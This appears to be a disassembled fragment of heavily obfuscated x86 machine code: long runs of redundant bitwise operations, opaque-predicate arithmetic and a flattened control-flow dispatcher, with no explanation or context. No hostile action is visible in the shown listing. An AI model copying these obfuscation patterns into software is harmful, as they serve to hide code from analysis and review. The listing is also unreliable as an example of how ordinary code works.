xor dl, 1
and bl, 0xff
and al, dl
mov byte [ebp - 0x83a1c], al
mov al, byte [ebp - 0x83a1a]
and al, 0xff
mov byte [ebp - 0x83a1b], al
mov al, byte [ebp - 0x83a1c]
and cl, dl
or bl, al
mov al, byte [ebp - 0x83a1b]
or al, cl
mov cl, byte [ebp - 0x83a1a]
xor bl, al
mov al, byte [ebp - 0x83a19]
or al, cl
mov cl, byte [ebp - 0x83a18]
xor al, 0xff
or dl, 1
and al, dl
or bl, al
mov al, dh
xor al, 0xff
mov dl, bl
and dl, al
mov al, byte [ebp - 0x83a17]
xor bl, 0xff
and dh, bl
or dl, dh
mov bl, ah
and bl, ch
xor ah, ch
or bl, ah
mov ah, bl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
mov ch, al
and ch, 0
xor al, 0
or ch, al
xor ah, 0xff
xor ch, 0xff
mov al, 1
xor al, 1
or ah, ch
or al, 1
xor ah, 0xff
and ah, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov ah, bh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dh, bh
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
mov dh, al
xor dh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or dh, ah
or dl, 1
xor dh, 0xff
and dh, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
xor bh, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or bh, dl
or al, 1
xor bh, 0xff
and bh, al
mov al, dh
xor al, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov ch, al
and ch, 0
and dh, dl
mov bl, ah
and bl, 0
and bh, dl
or ch, dh
mov dh, byte [ebp - 0x83a16]
or bl, bh
xor ch, bl
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or ch, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
mov ah, cl
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bl, ah
or al, dl
xor bl, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov byte [ebp - 0x83a0e], dl
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov byte [ebp - 0x83a0b], dh
mov ah, 1
xor ah, 0
mov al, bl
xor al, ah
and al, bl
xor cl, 0xff
mov bh, dh
xor bh, 0xff
mov ah, 1
xor ah, 0
or cl, bh
or ah, 0
xor cl, 0xff
and cl, ah
xor dl, 0xff
mov ah, 1
xor ah, 0
mov bh, 1
xor bh, 1
or dl, ah
mov ah, byte [ebp - 0x83a16]
or bh, 1
xor dl, 0xff
and dl, bh
mov byte [ebp - 0x83a12], dl
xor dh, 0xff
mov dl, ah
xor dl, dh
and dl, ah
mov byte [ebp - 0x83a13], dl
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
mov dl, ah
and dl, 0xff
and al, dh
mov byte [ebp - 0x83a15], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x83a14], al
mov al, byte [ebp - 0x83a15]
and cl, dh
or dl, al
mov al, byte [ebp - 0x83a14]
or al, cl
mov cl, byte [ebp - 0x83a13]
xor dl, al
mov al, byte [ebp - 0x83a12]
or ah, bh
xor ah, 0xff
or dh, 1
and ah, dh
or dl, ah
mov byte [ebp - 0x83a0f], dl
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
mov dl, ah
and dl, 0xff
and al, dh
mov byte [ebp - 0x83a11], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x83a10], al
mov al, byte [ebp - 0x83a11]
and cl, dh
or dl, al
mov al, byte [ebp - 0x83a10]
or al, cl
mov cl, byte [ebp - 0x83a0f]
xor dl, al
mov al, byte [ebp - 0x83a0e]
or ah, bh
xor ah, 0xff
or dh, 1
and ah, dh
or dl, ah
mov ah, cl
xor ah, 0xff
mov bh, dl
and bh, ah
xor dl, 0xff
and cl, dl
or bh, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov dl, 1
xor dl, 0
mov ah, cl
and ah, 0
and bl, dl
mov byte [ebp - 0x83a0d], bl
mov bl, dh
and bl, 0
and al, dl
mov byte [ebp - 0x83a0c], al
mov al, byte [ebp - 0x83a0d]
or ah, al
mov al, byte [ebp - 0x83a0c]
or bl, al
mov al, byte [ebp - 0x83a0b]
xor ah, bl
or cl, dh
xor cl, 0xff
or dl, 0
and cl, dl
or ah, cl
mov bl, ah
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bl, ah
or cl, dl
xor bl, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 1
mov ah, al
and ah, 0xff
and bh, cl
mov dh, dl
and dh, 0xff
and bl, cl
or ah, bh
or dh, bl
xor ah, dh
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or cl, al
mov dl, 1
xor dl, 0
xor cl, 0xff
mov al, 1
xor al, 1
or dl, cl
or al, 1
xor dl, 0xff
and dl, al
mov dh, 1
xor dh, 0
and dh, 0
mov cl, 1
xor cl, 0
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, bl
or al, cl
xor dh, al
xor ah, 0xff
mov cl, dh
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov cl, 1
xor cl, 1
and cl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or cl, bh
or al, bl
xor cl, al
mov bl, 1
xor bl, 0
mov al, cl
xor al, bl
and al, cl
mov bl, 1
xor bl, 1
xor dh, 0xff
mov cl, 1
xor cl, 1
or bl, dh
or cl, 1
xor bl, 0xff
and bl, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x83a0a], dl
mov dh, bl
xor dh, 0xff
mov ah, 1
xor ah, 0
and dl, 0
and al, ah
mov bh, dh
and bh, 0
and bl, ah
or dl, al
mov al, byte [ebp - 0x83a0a]
or bh, bl
mov bl, byte [ebp - 0x83a09]
xor dl, bh
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x839fd], al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov byte [ebp - 0x83a06], cl
mov dl, bl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov dh, bl
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov byte [ebp - 0x83a04], dl
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov byte [ebp - 0x83a02], dh
mov ah, 1
xor ah, 0
mov al, cl
xor al, ah
and al, cl
mov cl, 1
xor cl, 0
mov bh, dh
xor bh, 0xff
mov ah, 1
xor ah, 1
or cl, bh
or ah, 1
xor cl, 0xff
and cl, ah
xor dl, 0xff
mov bh, 1
xor bh, 0
mov ah, 1
xor ah, 0
or dl, bh
or ah, 0
xor dl, 0xff
and dl, ah
xor bl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 1
or bl, dh
or ah, 1
xor bl, 0xff
and bl, ah
mov dh, al
xor dh, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x83a05], ah
mov bh, 1
xor bh, 1
mov ah, dh
and ah, 0xff
and al, bh
mov byte [ebp - 0x83a08], al
mov al, byte [ebp - 0x83a05]
and al, 0xff
mov byte [ebp - 0x83a07], al
mov al, byte [ebp - 0x83a08]
and cl, bh
or ah, al
mov al, byte [ebp - 0x83a07]
or al, cl
mov cl, byte [ebp - 0x83a06]
xor ah, al
mov al, byte [ebp - 0x83a05]
or dh, al
mov al, byte [ebp - 0x83a04]
xor dh, 0xff
or bh, 1
and dh, bh
or ah, dh
mov dh, dl
and dh, bl
xor dl, bl
or dh, dl
mov bl, ah
xor bl, 0xff
mov dl, dh
and dl, bl
xor dh, 0xff
and ah, dh
or dl, ah
mov ah, cl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov bh, ah
and bh, 0
mov byte [ebp - 0x83a03], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x83a01], al
mov al, byte [ebp - 0x83a03]
or al, cl
mov cl, byte [ebp - 0x83a02]
mov byte [ebp - 0x83a00], al
mov al, byte [ebp - 0x83a01]
or bh, al
mov al, byte [ebp - 0x83a00]
xor al, bh
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or al, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and al, dh
or ah, al
mov dh, 1
xor dh, 0
mov byte [ebp - 0x839fc], dh
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
and dh, 0
mov al, bl
and al, 0
mov byte [ebp - 0x839ff], al
mov al, bh
and al, 0
mov byte [ebp - 0x839fe], al
mov al, byte [ebp - 0x839ff]
and cl, bl
or dh, al
mov al, byte [ebp - 0x839fe]
or al, cl
mov cl, byte [ebp - 0x839fd]
xor dh, al
mov al, byte [ebp - 0x839fc]
or al, bh
xor al, 0xff
or bl, 0
and al, bl
or dh, al
xor ah, 0xff
xor dh, 0xff
mov al, 1
xor al, 0
or ah, dh
or al, 0
xor ah, 0xff
and ah, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov al, cl
xor al, 0xff
mov dh, dl
and dh, al
xor dl, 0xff
mov al, cl
and al, dl
or dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, ch
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov ah, ch
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x839f5], al
mov ah, dh
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or ah, cl
mov dl, 1
xor dl, 1
and dl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and bl, 1
or dl, bh
or cl, bl
xor dl, cl
xor al, 0xff
mov bl, 1
xor bl, 1
mov cl, 1
xor cl, 0
or al, bl
or cl, 0
xor al, 0xff
and al, cl
mov bl, dl
xor bl, 0xff
mov cl, ch
xor cl, bl
and cl, ch
mov ch, ah
xor ch, 0xff
mov bh, 1
xor bh, 1
mov bl, 1
xor bl, 0
or ch, bh
or bl, 0
xor ch, 0xff
and ch, bl
mov byte [ebp - 0x839f8], ch
mov bl, dl
xor bl, 0xff
mov ch, dh
xor ch, bl
and ch, dh
mov byte [ebp - 0x839f9], ch
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 0
mov bl, ch
and bl, 0
and al, dh
mov byte [ebp - 0x839fb], al
mov al, bh
and al, 0
mov byte [ebp - 0x839fa], al
mov al, byte [ebp - 0x839fb]
and cl, dh
or bl, al
mov al, byte [ebp - 0x839fa]
or al, cl
mov cl, byte [ebp - 0x839f9]
xor bl, al
mov al, byte [ebp - 0x839f8]
or ch, bh
xor ch, 0xff
or dh, 0
and ch, dh
or bl, ch
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x839f4], dh
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 0
and dh, 0
and al, ch
mov byte [ebp - 0x839f7], al
mov al, bh
and al, 0
mov byte [ebp - 0x839f6], al
mov al, byte [ebp - 0x839f7]
and cl, ch
or dh, al
mov al, byte [ebp - 0x839f6]
or al, cl
mov cl, byte [ebp - 0x839f5]
xor dh, al
mov al, byte [ebp - 0x839f4]
or al, bh
xor al, 0xff
or ch, 0
and al, ch
or dh, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, bh
or al, bl
or ch, dh
xor al, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x940345cf
mov ecx, 0x80ba4d26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov dl, byte [ebp - 0x83096]
mov eax, 0x7ad50b39
mov ecx, 0x252e4bdd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
xor esi, esi
sub esi, 0x62032782
add esi, 0
mov edx, ecx
sub edx, 0x9289db62
add edx, esi
add edx, 0x9289db62
add edx, 0x7f5ebe35
add edx, 0x6ac0c7a4
sub edx, 0x7f5ebe35
add edx, 0xfe8b551
sub edx, 1
sub edx, 0xfe8b551
sub edx, 0xbc210259
sub edx, 0x6ac0c7a4
add edx, 0xbc210259
sub edx, 0x499de7b8
sub edx, 0x28c19940
add edx, 0x499de7b8
xor esi, esi
sub esi, 0x62032782
sub edx, esi
add edx, 0x4373230b
add edx, 0x28c19940
sub edx, 0x4373230b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
mov byte [ebp - 0x83b5f], dl
cmp eax, 0xa
setl ch
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov dh, dl
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, dh
or al, cl
xor ah, al
mov cl, 1
xor cl, 1
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 1
and ah, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or ah, bl
or al, dh
xor ah, al
xor dl, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or dl, ah
or al, 0
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x83b39], al
mov cl, ch
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ah, ch
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov bh, 1
xor bh, 1
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov cl, 1
xor cl, 1
and cl, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov bl, ch
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bh, cl
mov dh, dl
and dh, 0
and bl, cl
or ah, bh
or dh, bl
xor ah, dh
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov dl, 1
xor dl, 0
and dl, 0
mov cl, 1
xor cl, 0
mov dh, cl
and dh, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, dh
or al, cl
xor dl, al
mov al, 1
xor al, 1
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov bl, 1
xor bl, 1
and bl, 1
mov dl, 1
xor dl, 1
mov dh, dl
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bl, dh
or cl, dl
xor bl, cl
mov cl, bl
xor cl, 0xff
xor cl, 0
and cl, 0
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
and dh, 1
or dl, dh
xor dl, 0xff
mov bh, 1
xor bh, 1
mov dh, 1
xor dh, 1
or dl, bh
or dh, 1
xor dl, 0xff
and dl, dh
mov byte [ebp - 0x83b62], dl
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov dh, al
xor dh, 0xff
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x83b63], dl
mov bh, 1
xor bh, 0
mov dl, dh
and dl, 0
and al, bh
mov byte [ebp - 0x83b65], al
mov al, byte [ebp - 0x83b63]
and al, 0
mov byte [ebp - 0x83b64], al
mov al, byte [ebp - 0x83b65]
and cl, bh
or dl, al
mov al, byte [ebp - 0x83b64]
or al, cl
mov cl, byte [ebp - 0x83b63]
xor dl, al
mov al, byte [ebp - 0x83b62]
or dh, cl
mov cl, byte [ebp - 0x83b39]
xor dh, 0xff
or bh, 0
and dh, bh
or dl, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov bl, dl
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and dl, dh
or al, dl
mov byte [ebp - 0x83b27], al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov dl, 1
xor dl, 0
and dl, 1
mov cl, 1
xor cl, 1
and cl, 0
or dl, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dh, 1
xor dh, 1
and dh, 0
or cl, dh
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov dl, 1
xor dl, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x83b5e], al
mov bh, 1
xor bh, 0
mov dh, dl
and dh, 0
mov al, bh
and al, 0
mov byte [ebp - 0x83b61], al
mov al, byte [ebp - 0x83b5e]
and al, 0
mov byte [ebp - 0x83b60], al
mov al, byte [ebp - 0x83b61]
and cl, bh
or dh, al
mov al, byte [ebp - 0x83b60]
or al, cl
mov cl, byte [ebp - 0x83b5f]
xor dh, al
mov al, byte [ebp - 0x83b5e]
or dl, al
mov al, byte [ebp - 0x83b27]
xor dl, 0xff
or bh, 0
and dl, bh
or dh, dl
mov dl, bl
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
and bl, bh
or dl, bl
xor dh, 0xff
mov bl, dl
xor bl, dh
and bl, dl
mov dh, al
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and al, dl
or dh, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x83b5d], al
mov bh, cl
and bh, al
mov al, dh
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x83b5c], al
mov al, byte [ebp - 0x83b5d]
and dh, al
mov al, byte [ebp - 0x83b5c]
or dl, bh
or al, dh
xor dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dh, al
mov bh, 1
xor bh, 0
and bh, 0
mov cl, 1
xor cl, 0
mov al, cl
and al, 0
mov byte [ebp - 0x83b5b], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x83b5a], al
mov al, byte [ebp - 0x83b5b]
and cl, 1
or bh, al
mov al, byte [ebp - 0x83b5a]
or al, cl
xor bh, al
mov al, 1
xor al, 0
and al, 1
mov byte [ebp - 0x83b58], al
mov cl, 1
xor cl, 1
mov byte [ebp - 0x83b59], cl
and cl, 0
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x83b56], al
mov al, byte [ebp - 0x83b59]
and al, 1
mov byte [ebp - 0x83b57], al
mov al, byte [ebp - 0x83b58]
or al, cl
mov cl, byte [ebp - 0x83b57]
mov byte [ebp - 0x83b55], al
mov al, byte [ebp - 0x83b56]
or al, cl
mov cl, byte [ebp - 0x83b55]
xor cl, al
mov al, dh
and al, bh
xor dh, bh
or al, dh
mov byte [ebp - 0x83b50], al
mov bh, 1
xor bh, 0
mov byte [ebp - 0x83b51], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0x83b52], al
mov dh, 1
xor dh, 0
and bh, 0
mov al, dh
and al, 0
mov byte [ebp - 0x83b54], al
mov al, byte [ebp - 0x83b52]
and al, 0
mov byte [ebp - 0x83b53], al
mov al, byte [ebp - 0x83b54]
and cl, dh
or bh, al
mov al, byte [ebp - 0x83b53]
or al, cl
mov cl, byte [ebp - 0x83b52]
xor bh, al
mov al, byte [ebp - 0x83b51]
or al, cl
mov cl, byte [ebp - 0x83b50]
xor al, 0xff
or dh, 0
and al, dh
or bh, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov al, 1
xor al, 1
and cl, al
mov al, byte [ebp - 0x83b27]
or dh, cl
xor dh, 0xff
xor bh, 0xff
mov cl, 1
xor cl, 1
or dh, bh
or cl, 1
xor dh, 0xff
and dh, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and ch, bh
or cl, ch
mov byte [ebp - 0x83b4d], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and al, ch
or cl, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
mov bh, al
and bh, 0
mov byte [ebp - 0x83b4f], bh
mov bh, 1
xor bh, 1
and bh, 0xff
and al, 1
mov byte [ebp - 0x83b4e], al
mov al, byte [ebp - 0x83b4f]
or ch, al
mov al, byte [ebp - 0x83b4e]
or bh, al
mov al, byte [ebp - 0x83b4d]
xor ch, bh
mov byte [ebp - 0x83b48], ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x83b4a], ch
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x83b49], bh
mov bh, 1
xor bh, 0
and ch, 0
and al, bh
mov byte [ebp - 0x83b4c], al
mov al, byte [ebp - 0x83b49]
and al, 0
mov byte [ebp - 0x83b4b], al
mov al, byte [ebp - 0x83b4c]
and cl, bh
or ch, al
mov al, byte [ebp - 0x83b4b]
or al, cl
mov cl, byte [ebp - 0x83b4a]
xor ch, al
mov al, byte [ebp - 0x83b49]
or cl, al
mov al, byte [ebp - 0x83b48]
xor cl, 0xff
or bh, 0
and cl, bh
or ch, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov al, ch
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and ch, bh
or al, ch
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov al, dl
xor al, 0xff
mov ch, bl
xor ch, al
and ch, bl
mov al, bl
xor al, 0xff
and al, 1
mov byte [ebp - 0x83b47], al
mov al, 1
xor al, 1
and bl, al
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, al
mov al, byte [ebp - 0x83b47]
or al, bl
or cl, dl
xor al, cl
mov bl, ch
xor bl, 0xff
mov byte [ebp - 0x83b44], bl
mov dl, al
xor dl, 0xff
mov cl, 1
xor cl, 0
and bl, 0
and ch, cl
mov byte [ebp - 0x83b46], ch
mov ch, dl
and ch, 0
and al, cl
mov byte [ebp - 0x83b45], al
mov al, byte [ebp - 0x83b46]
or bl, al
mov al, byte [ebp - 0x83b45]
or ch, al
mov al, byte [ebp - 0x83b44]
xor bl, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or bl, al
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov ch, dh
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ch
or cl, dl
xor al, cl
mov byte [ebp - 0x83b40], al
mov cl, bh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov ch, bh
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ch
mov ch, byte [ebp - 0x83b40]
or al, dl
xor cl, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov byte [ebp - 0x83b3d], al
xor ch, 0xff
mov dl, 1
xor dl, 1
mov al, 1
xor al, 1
or ch, dl
mov dl, byte [ebp - 0x83b3d]
or al, 1
xor ch, 0xff
and ch, al
xor dh, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or dh, dl
or al, 1
xor dh, 0xff
and dh, al
mov dl, cl
xor dl, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x83b43], al
mov al, 1
xor al, 0
mov byte [ebp - 0x83b42], al
mov al, byte [ebp - 0x83b43]
or dl, al
mov al, byte [ebp - 0x83b42]
or al, 0
xor dl, 0xff
and dl, al
mov al, byte [ebp - 0x83b3d]
mov byte [ebp - 0x83b41], dl
xor al, 0xff
mov dl, bh
xor dl, al
mov al, byte [ebp - 0x83b41]
and dl, bh
mov bh, ch
and bh, dh
xor ch, dh
or bh, ch
mov ch, al
and ch, dl
xor al, dl
or ch, al
mov dh, bh
xor dh, 0xff
and dh, 1
mov al, 1
xor al, 1
and bh, al
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, al
mov al, byte [ebp - 0x83b40]
or dh, bh
or dl, ch
xor dh, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x83b3c], dl
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 0
and dl, 0
and al, ch
mov byte [ebp - 0x83b3f], al
mov al, bh
and al, 0
mov byte [ebp - 0x83b3e], al
mov al, byte [ebp - 0x83b3f]
and cl, ch
or dl, al
mov al, byte [ebp - 0x83b3e]
or al, cl
mov cl, byte [ebp - 0x83b3d]
xor dl, al
mov al, byte [ebp - 0x83b3c]
or al, bh
xor al, 0xff
or ch, 0
and al, ch
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dl, ch
or al, dl
mov byte [ebp - 0x83b37], al
mov dl, 1
xor dl, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x83b38], al
mov bh, 1
xor bh, 1
mov ch, dl
and ch, 0xff
mov al, bh
and al, 1
mov byte [ebp - 0x83b3b], al
mov al, byte [ebp - 0x83b38]
and al, 0xff
mov byte [ebp - 0x83b3a], al
mov al, byte [ebp - 0x83b3b]
and cl, bh
or ch, al
mov al, byte [ebp - 0x83b3a]
or al, cl
mov cl, byte [ebp - 0x83b39]
xor ch, al
mov al, byte [ebp - 0x83b38]
or dl, al
mov al, byte [ebp - 0x83b37]
xor dl, 0xff
or bh, 1
and dl, bh
or ch, dl
xor al, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 1
or al, ch
or dl, 1
xor al, 0xff
and al, dl
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x83b34], bh
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 1
and bh, 0xff
and dh, dl
mov byte [ebp - 0x83b36], dh
mov dh, ch
and dh, 0xff
and al, dl
mov byte [ebp - 0x83b35], al
mov al, byte [ebp - 0x83b36]
or bh, al
mov al, byte [ebp - 0x83b35]
or dh, al
mov al, byte [ebp - 0x83b34]
xor bh, dh
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or bh, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov al, bl
and al, ch
or dl, al
xor dl, 0xff
mov al, bh
xor al, dl
and al, bh
mov ch, bh
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and bh, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or ch, bh
or dl, dh
xor ch, dl
xor bl, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 0
or bl, ch
or dl, 0
xor bl, 0xff
and bl, dl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x83b33], bh
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 1
and bh, 0xff
and al, dl
mov dh, ch
and dh, 0xff
and bl, dl
or bh, al
mov al, byte [ebp - 0x83b33]
or dh, bl
xor bh, dh
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or bh, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or dl, al
mov byte [ebp - 0x83b2c], dl
mov bl, ah
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
mov al, ah
and al, ch
or bl, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov byte [ebp - 0x83b2f], ch
mov dh, 1
xor dh, 1
mov al, dl
xor al, dh
and al, dl
xor cl, 0xff
mov dh, ch
xor dh, 0xff
mov dl, 1
xor dl, 0
or cl, dh
or dl, 0
xor cl, 0xff
and cl, dl
mov byte [ebp - 0x83b32], cl
mov dh, 1
xor dh, 1
mov dl, bl
xor dl, dh
